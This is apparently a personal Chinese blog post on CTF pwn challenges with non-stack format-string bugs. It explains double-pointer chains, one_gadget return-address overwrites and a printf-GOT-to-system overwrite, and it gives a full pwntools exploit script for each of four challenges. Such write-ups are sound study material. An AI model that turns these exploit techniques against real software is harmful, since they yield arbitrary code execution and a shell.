又想水博客了,水一篇非栈上格式化字符串的小结。本文纯粹是我的个人理解,如果有错误欢迎师傅指正。

有时候自己一个人搞这种东西卡在一个点上是真的难受得搞半天 好想要有个师傅可以学习交流😭 可惜我也快不打这个了

litctf2025 onlyone

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
from pwn import*
from struct import pack
import ctypes
#from LibcSearcher import *
from ae64 import AE64
def bug():
gdb.attach(p)
pause()
def s(a):
p.send(a)
def sa(a,b):
p.sendafter(a,b)
def sl(a):
p.sendline(a)
def sla(a,b):
p.sendlineafter(a,b)
def r(a):
p.recv(a)
#def pr(a):
#print(p.recv(a))
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def get_addr(size):
return u64(p.recv(size).ljust(8,b'\x00'))
def get_addr64():
return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
def get_addr32():
return u32(p.recvuntil("\xf7")[-4:])
def get_sb():
return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__()
def get_hook():
return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook']
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')


#context(os='linux',arch='i386',log_level='debug')
context(os='linux',arch='amd64',log_level='debug')
libc=ELF('./libc-2.31.so')

#gift 1 is 0x7fffffffdba7
#gift 2 is 0x7ffff7e59420

elf=ELF('./fmt')
#p=remote('',)
p = process('./fmt')
rl(b'0x')
stack=int(p.recv(12),16)
li(hex(stack))
rl(b'0x')
libc_base=int(p.recv(12),16)-libc.sym['puts']
li(hex(libc_base))
ogg=libc_base+0xe3b01
addr=(stack&0xffff)-15
payload = b'%p'*9
payload += b'%'+str(addr - 92).encode()+b'c%hn'#11
payload += b'%'+str(0x10007b-addr).encode()+b'c%39$hhn'
#bug()
s(payload)
add=(stack+17-0x18)&0xffff
li(hex(add))
sleep(0.5)
payload = b'%'+str(0x7b).encode()+b'c%39$hhn'
payload+= b'%'+str(add-0x7b).encode()+b'c%27$hn'
payload =payload.ljust(0x100,b'\x00')
#bug()
s(payload)


sleep(0.5)
payload = b'%'+str(0x7b).encode()+b'c%39$hhn'
payload+= b'%'+str((ogg&0xffff)-0x7b).encode()+b'c%41$hn'
payload =payload.ljust(0x100,b'\x00')
#bug()
s(payload)

sleep(0.5)
payload = b'%'+str(0x7b).encode()+b'c%39$hhn'
payload+= b'%'+str(add+2-0x7b).encode()+b'c%27$hn'
payload =payload.ljust(0x100,b'\x00')
#bug()
s(payload)

sleep(0.5)
payload = b'%'+str(0x7b).encode()+b'c%39$hhn'
payload+= b'%'+str((ogg>>16&0xffff)-0x7b).encode()+b'c%41$hn'
payload =payload.ljust(0x100,b'\x00')
#bug()
s(payload)

sleep(0.5)
payload = b'%'+str(0x7b).encode()+b'c%39$hhn'
payload+= b'%'+str(add+2+2-0x7b).encode()+b'c%27$hn'
payload =payload.ljust(0x100,b'\x00')
#bug()
s(payload)

sleep(0.5)
payload = b'%'+str(0x7b).encode()+b'c%39$hhn'
payload+= b'%'+str((ogg>>32)-0x7b).encode()+b'c%41$hn'
payload =payload.ljust(0x100,b'\x00')
#bug()
s(payload)

payload = b'%'+str(0x069e).encode()+b'c%39$hn'
payload =payload.ljust(0x100,b'\x00')
#bug()
s(payload)

#a=p.recvall()
#print(len(a)-1

inter()

先贴上脚本更好理解一些,本题是非栈上格式化字符串

image-20250528231201071

这个addr是rsp-8 即db98 也就是刚刚的返回地址image-20250528211546836

由于是非栈上格式化字符串 所以我们要布置二级指针

image-20250528212044478

我们就要利用这里的rbp+0x18这行结果

第11的偏移就是dbc8

第39的偏移就是dca8

1
2
payload = b'%p'*9
payload += b'%'+str(addr - 92).encode()+b'c%hn'#11

这段就控制第3个参数为addr 也就是db98

这里是控制第11偏移的参数 ,因为printf 解析参数会根据 % 进行判断,在 hn 前面一共有 11个 %,所以这个 %xxxc%hn 会将 xxx 数据加上 %p 泄露的字符个数写入第十一个参数。

是不是不知道92是怎么来的,我们还要先减去%p泄露出来的字节,这部分要怎么算呢,当然是接收了

1
2
a=p.recvall()
print(len(a)-1)

image-20250528222434559

为啥减一 是因为接收时候多接收了个\n

所以我们就把第三个参数改成了addr,下面你改第四个参数就能改变返回地址了

这里为什么前面要这么多%p这样做呢 而不是像平时那样直接%11$然后接上后面的39呢

因为这样我们只能正确的修改第三个参数,第三个指向的第四个参数并不能改变成正确的返回地址

而是修改的是原本第三的参数所指向的第四个参数

image-20251029211520704

如图 所以就不能这么写 非栈上就像我这么写

1
payload += b'%'+str(0x10007b-addr).encode()+b'c%39$hhn'

这段就控制第4个参数为你想要去到的返回地址,代码中为7b 也就是puts开始的地址,回去再执行。

到这里我们就可以一直进行无限次数的printf了

那么我们拿shell的具体思路是修改栈顶rsp(也就是ret+8)为one_gadget,最后把printf返回地址修改成ret,来触发one_gadget。

正常把返回地址修改为one_gadget也就是rbp+8是没办法执行的

那么我们就可以再次利用二次指针进行修改,把rsp的值修改为one_gadget

image-20250528225341873

我们就可以用这里来修改

这一行就是第27参数

1
2
3
4
5
payload = b'%'+str(0x7b).encode()+b'c%39$hhn'

payload+= b'%'+str(add-0x7b).encode()+b'c%27$hn'

payload =payload.ljust(0x100,b'\x00')

那么就把第三个参数改成rsp(add是rsp的地址)

1
2
3
4
5
payload = b'%'+str(0x7b).encode()+b'c%39$hhn'

payload+= b'%'+str((ogg&0xffff)-0x7b).encode()+b'c%41$hn'

payload =payload.ljust(0x100,b'\x00')

把第四个参数改成one_gadget

明明这么修改就可以了 为啥还要补齐到0x100 是为了避免read把两次读入的payload一次读入

格式化字符串总有这种问题。

两字节两字节的赋值

1
2
3
4
5
payload = b'%'+str(0x069e).encode()+b'c%39$hn'

payload =payload.ljust(0x100,b'\x00')

s(payload)

最后修改返回地址为ret即可,然后就执行了one_gadget

image-20250528230604902

成功拿到shell

第六届强网拟态 fmt

与此非常类似的一道就是以前强网拟态的一道非栈上格式化字符串

这道题也是只能够进行一次格式化字符串并且是非栈上的

像上题一样改rsp-8也就是图中db08的地方

利用这两个链表11和39改返回地址为read刚开始时候

开始给了栈地址但是没给libc地址 所以刚开始泄露的时候接收一下就有libc基址了

刚开始送给我们的值是rsp地址+4的位置 所以返回地址就是value-c,rsp的地址就是value-4

第一波先把返回地址改回来

1
2
3
4
5
6
7
8
9
printf_ret=value-0xc
payload=b'%p'*9
payload+=b'%'+str((printf_ret)-90).encode()+b'c%hn'
payload+=b'%'+str(0x100023-((printf_ret))).encode()+b'c%39$hhn'
payload=payload.ljust(0x100,b'\x00')
p.send(payload)
p.recvuntil("0x100")
libc_base=int(p.recv(14),16)-0x10e1f2
dir('libc_base')

别忘了减掉前面%p带出来的90

后面几波就改rsp指向的地址为one_gadget

利用这两个链子分别是第27和41参数

这里就把rsp指向地址改成one_gadget

最后一波把返回地址改成ret那么就会执行了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *
dir = lambda s :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))
context.log_level='debug'
p=process('./fmt')
libc=ELF('./libc.so.6')

p.recvuntil('Gift: ')
value=int(p.recv(4),16)
dir('value')

printf_ret=value-0xc
payload=b'%p'*9
payload+=b'%'+str((printf_ret)-90).encode()+b'c%hn'
payload+=b'%'+str(0x100023-((printf_ret))).encode()+b'c%39$hhn'
payload=payload.ljust(0x100,b'\x00')
p.send(payload)
p.recvuntil("0x100")
libc_base=int(p.recv(14),16)-0x10e1f2
dir('libc_base')

one_gadget=libc_base+0xe3b01

payload=b'%'+str(0x23).encode()+b'c%39$hhn'
payload+=b'%'+str(((value-4))-0x23).encode()+b'c%27$hn'
payload=payload.ljust(0x100,b'\x00')
p.send(payload)

payload=b'%'+str(0x23).encode()+b'c%39$hhn'
payload+=b'%'+str((one_gadget&0xffff)-0x23).encode()+b'c%41$hn'
payload=payload.ljust(0x100,b'\x00')
p.send(payload)


payload=b'%'+str(0x23).encode()+b'c%39$hhn'
payload+=b'%'+str(((value-4+2))-0x23).encode()+b'c%27$hn'
payload=payload.ljust(0x100,b'\x00')
p.send(payload)

payload=b'%'+str(0x23).encode()+b'c%39$hhn'
payload+=b'%'+str(((one_gadget>>16)&0xffff)-0x23).encode()+b'c%41$hn'
payload=payload.ljust(0x100,b'\x00')
p.send(payload)



payload=b'%'+str(0x23).encode()+b'c%39$hhn'
payload+=b'%'+str(((value-4+2+2))-0x23).encode()+b'c%27$hn'
payload=payload.ljust(0x100,b'\x00')
p.send(payload)

payload=b'%'+str(0x23).encode()+b'c%39$hhn'
payload+=b'%'+str(((one_gadget>>32)&0xffff)-0x23).encode()+b'c%41$hn'
payload=payload.ljust(0x100,b'\x00')
p.send(payload)


payload=b'%'+str(0xc4).encode()+b'c%39$hhn'
payload=payload.ljust(0x100,b'\x00')
p.send(payload)

p.interactive()


这两题都是只能一次并且无return的

nss3rd ezfmt

这题给了7次printf机会 所以可以一次泄露加3次修改

本题由于有好几次格式化字符串可利用 所以不需要像前面一样并且后面结束后有leave ret 所以我们直接改返回地址也就是rbp+8为one_gadget就行

改完之后他后面就跳转执行了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53


from pwn import *

context(os='linux',arch='amd64',log_level='debug')
libc=ELF('./libc-2.31.so')
elf=ELF('./attachment')
p = process('./attachment')

p.recvuntil(">")
payload=b'%6$p%9$p'

p.send(payload)
p.recvuntil(b'0x')
stack=int(p.recv(12),16)-232
print(hex(stack))
p.recvuntil(b'0x')
libc_base=int(p.recv(12),16)-libc.sym['__libc_start_main']-243
print(hex(libc_base))
ogg=[0xe6aee,0xe6af1,0xe6af4]
one_gadget=libc_base+ogg[1]
print(hex(one_gadget))
p.recvuntil(">")
pay2=b'%'+str(stack&0xffff).encode()+b'c%11$hn'
pay2=pay2.ljust(0x100,b'\x00')
p.send(pay2)
p.recvuntil(">")
pay3=b'%'+str(one_gadget&0xffff).encode()+b'c%39$hn'
pay3=pay3.ljust(0x100,b'\x00')
p.send(pay3)

p.recvuntil(">")
pay4=b'%'+str(stack+2&0xffff).encode()+b'c%11$hn'
pay4=pay4.ljust(0x100,b'\x00')
p.send(pay4)

p.recvuntil(">")
pay5=b'%'+str(one_gadget>>16&0xffff).encode()+b'c%39$hn'
pay5=pay5.ljust(0x100,b'\x00')
p.send(pay5)

p.recvuntil(">")
pay6=b'%'+str(stack+4&0xffff).encode()+b'c%11$hn'
pay6=pay6.ljust(0x100,b'\x00')
p.send(pay6)

p.recvuntil(">")
pay7=b'%'+str(one_gadget>>32).encode()+b'c%39$hn'
pay7=pay7.ljust(0x100,b'\x00')
p.send(pay7)


p.interactive()

20250xgame FMT

image-20251031213058473

看到无限次利用格式化漏洞

image-20251031210600189

这里就和前面的题目不太一样 rsp没指东西 这题可以用改写got表的方式获取shell

可以利用链子先改写printf_got到栈上

image-20251031213749929

然后接下来这一步

在利用相同的链子将第10个参数的位置改写成printf_got+1的地址

注意改写时候需要改写的字节数第一次改两字节 第二次改4字节把这个0x100000000玩意覆盖完变成printf_got+1

后面再将这两个改写成system(为啥不直接覆盖呢而是还要写一个printf_got+1地址 因为我们只需要覆盖3个字节 但是我们只能一次性覆盖一二四字节并不能只覆盖三字节 所以我们这分开成一字节和二字节覆盖 我自己理解是这样的)

下一次输入/bin/sh就是printf(/bin/sh)也就相当于system(/bin/sh)得到shell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *

libc = ELF('./libc.so.6')
elf = ELF('./pwn')
p=process('./pwn')

p.sendafter(b'?\n', b'%11$p')
stack = int(p.recvuntil(b'But', drop=True), 16)
success('stack--> '+hex(stack))
success('printf--> '+hex(elf.got['printf']))
gdb.attach(p,'b *0x401226\nc')
target = stack-0x100 #这里是参数9的位置
payload = b'%' + str(target & 0xffff).encode() + b'c%11$hn'
payload=payload.ljust(0x200, b'\x00')
p.sendafter(b'?\n', payload)
payload = b'%' + str(elf.got['printf'] & 0xffff).encode() + b'c%41$hn'
payload=payload.ljust(0x200, b'\x00')
p.sendafter(b'?\n', payload)
payload = b'%' + str((target + 8) & 0xff).encode() + b'c%11$hhn'
payload=payload.ljust(0x200, b'\x00')
p.sendafter(b'?\n', payload)
payload = b'%' + str((elf.got['printf'] + 1) & 0xffff).encode() + b'c%41$hn'
payload=payload.ljust(0x200, b'\x00')
p.sendafter(b'?\n', payload)
payload = b'%' + str((target + 8 + 2) & 0xff).encode() + b'c%11$hhn'
payload=payload.ljust(0x200, b'\x00')
p.sendafter(b'?\n', payload)
payload = b'%' + str((elf.got['printf'] >> 16) & 0xff).encode() + b'c%41$n'
payload=payload.ljust(0x200, b'\x00')
p.sendafter(b'?\n', payload)


p.sendafter(b'?\n', b'%9$s')
libc_base = u64(p.recvuntil(b'But', drop=True).ljust(8, b'\x00'))-libc.sym['printf']
success('libc_base--> '+hex(libc_base))
system = libc_base + libc.sym['system']
success('system--> '+hex(system))

payload = b'%' + str(system & 0xff).encode() + b'c%9$hn'
payload += b'%' + str((system >> 8) & 0xffff).encode() + b'c%10$hn'
payload=payload.ljust(0x200, b'\x00')
p.sendafter(b'?\n', payload)
p.sendafter(b'?\n', b'/bin/sh')
p.interactive()

这些就是全部内容了,相信经过本文的学习你已经成为了非栈上格式化字符串高手了。